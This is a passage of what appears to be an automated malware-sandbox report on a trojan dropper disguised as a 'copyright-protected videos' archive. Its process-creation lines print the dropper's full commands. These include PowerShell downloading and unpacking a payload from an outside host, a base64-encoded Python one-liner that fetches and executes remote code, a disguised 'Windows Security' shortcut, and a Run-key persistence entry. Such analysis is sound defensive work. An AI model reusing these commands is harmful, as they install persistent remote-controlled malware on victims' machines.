              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\servicemanager.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\vcruntime140.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\shell.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_RIPEMD160.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA384.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\scintilla.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\python310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\adsi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\bits.pydJump to dropped file
              Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
              Source: classification engineClassification label: mal72.troj.evad.win@63/1198@2/71
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat"
              Source: C:\Windows\System32\rundll32.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
              Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=1932,i,1001838692130139836,6490394009471824799,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b1"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=1932,i,1001838692130139836,6490394009471824799,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: unknownProcess created: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exe "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exe"
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat"
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.cmd"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.pdf"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Compilation of copyright-protected videos and images.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Compilation of copyright-protected videos and images.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Compilation of copyright-protected videos and images.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "Compilation of copyright-protected videos and images.exe" /f
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.pdf"
              Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
              Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1588,i,11174993825772865304,14990651195406688873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\chcp.com chcp 65001
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
              Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\System32\msiexec.exe C:\Windows\System32\MsiExec.exe -Embedding 6F335A5B578F89D8D14024E003ED43AB
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat"
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.cmd"
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.pdf"
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess created: C:\Windows\SysWOW64\cmd.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'qkxB9Wn8nG'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'qkxB9Wn8nG.zip'), $dst) "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindxwsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPeth = "$env:LOCALAPPDATA\qkxB9Wn8nG\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo New-Itemmroperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start "" "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\chcp.com chcp 65001
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'qkxB9Wn8nG'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'qkxB9Wn8nG.zip'), $dst) "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindxwsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPeth = "$env:LOCALAPPDATA\qkxB9Wn8nG\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo New-Itemmroperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start "" "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: apphelp.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: wininet.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: version.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: msimg32.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: oledlg.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: tmp8e6b.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: msvcp140.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: vcruntime140.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: vcruntime140.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: wldp.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: windowscodecs.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: profapi.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: propsys.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: textshaping.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: textinputframework.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: coreuicomponents.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: wintypes.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: wintypes.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: wintypes.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: sendmail.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: iertutil.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: sspicli.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: winhttp.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: mswsock.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: winnsi.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: urlmon.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: srvcli.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: netutils.dll
